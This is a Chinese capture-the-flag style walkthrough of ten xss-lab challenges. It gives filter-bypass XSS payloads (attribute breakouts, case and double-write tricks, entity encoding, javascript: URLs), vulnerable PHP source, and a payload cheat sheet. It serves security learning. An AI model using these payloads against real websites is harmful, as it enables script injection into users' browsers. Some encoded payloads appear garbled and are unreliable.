前言:
该文章仅用于信息网络安全防御技术学习,请勿用于其他用途!
该文章为纯技术分享,严禁利用本文章所提到的技术进行非法攻击!
目录
XSS-lab:
1、github上搜索xsslab,Github仓库:https://github.com/rebo-rn/xss-lab
2、下载资源放到小皮的www目录里
3、小皮创建网站然后重启服务
4、点击图片开始挑战:
level1(直接注入)
(1)直接注入:<script>alert(1)</script>
(2)成功注入
Level2(闭合)
1、发现一个输入框,尝试输入上一关的payload:<script>alert(1)</script>
2、输入之后点击搜索没反应,查看源码发现把我们输入的内容进行了替换
3、改写payload:"><script>alert(1)</script>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
Level3(绕过)
1、先尝试使用前两关的payload发现没有用
2、查看源代码发现输入的内容被转义了,尝试在当前位置绑定一个点击事件,点击输入框
3、Payload:keyword=' onclick='alert(1)
Level4(onclick绕过)
1、还是上万能的探测语句:<script>alert(1)</script>
2、使用上一关的payload,发现还是行不通,尝试双引号
3、果然,Payload:keyword=" onclick="alert(1)
Level5(绕过检测on和script事件)
1、尝试了前几关的payload发现都不行
2、查看源代码发现onclick和script都被过滤了
3、使用<a></a>标签试一下,payload:keyword="><a href="javascript:alert(1)"
Level6(大小写绕过)
1、还是尝试上一关的payload:"><a href="javascript:alert(1)"
2、发现不行,查看源代码发现href被过滤了
3、尝试一下大小写,点击中间的图片,payload:"><a Href="javascript:alert(1)
Level7(双写绕过标签过滤)
1、老样子,先试一下之前的注入,发现script直接被过滤了
2、Script被替换掉,那么传入sscriptcript,这样被替换后就是我们想要的script了
3、同样的href也可以替换为hhrefref
4、Payload:"><a hhrefref="javasscriptcript:alert(1)
Level8(编码绕过)
1、老样子,使用上一关的注入,发现行不通
2、更换大小写也不行,还加了下划线
3、使用Unicode编码,payload:javascript:alert(1)
Level9(必要字段+ASCII编码绕过)
1、老样子,使用上一关的payload注入,javascript:alert(1)
2、提示链接不合法,找一个合法的链接试试
3、输入javascript:alert(1)//http://baidu.com/发现被添加了下划线
4、尝试使用Unicode编码,payload:javasc&#114;ipt:alert(1)//http://baidu.com/
Level10
1、直接查看源代码吧
2、发现注入点可能是t_sort,然后发现过滤了<和>两个符号,那直接绑定onmouseover事件注入即可,注意的是这里的type是hidden的,我们需要改一下,不然就点不到了,于是得到 t_sort=" onmouseover='alert(1)' type="text
3、Payload:?keyword=well%20done!&t_sort=" onmouseover='alert(1)' type="text
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
总结:
做了10题下来,发现难度是依次上升的
解题思路:先观察题目的类型,猜哪个地方可以存在注入,然后是代码分析,这个可以交给chatgpt,下面就可以尝试自己构造好的payload,也可以进行BP抓包看下具体数据,或者指纹识别查一下框架是否有历史漏洞,
常用的payload
常用的payload:
<SCRscriptIPT>'"()Oonnjavascript
<script>alert(123)</script>
闭合(难点)
事件:οnmοuseοver、onfocus ----onfocus=javascript:alert(123)---οnmοuseοver=alert(123)-----
img标签 <img src=1 onerror=alert(123)>
a标签 <a href=javascript:alert(123)>haha</a>
Unicode编码绕过,大小写绕过,双写绕过
a标签href后面javascript:alert(123)//http://github.com/
抓包改referer,cookie,User-Agent:
不用死记硬背,自己多敲,用的时候能想起来就行。
XSS常用的标签:
在XSS中常用的是以下这些标签
alert alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location window.location对象用于获得当前页面的地址(URL) ,并把浏览器重定向 到新的页面
location.href 返回当前显示的文档的完整URL
onload 一张页面或一幅图像完成加载
onerror 在加载文档或图像时发生错误
onchange HTML 元素改变
onclick 用户点击 HTML 元素
onmouseover 鼠标指针移动到指定的元素上时发生
onmouseout 用户从一个 HTML 元素上移开鼠标时发生
onkeydown 用户按下键盘按键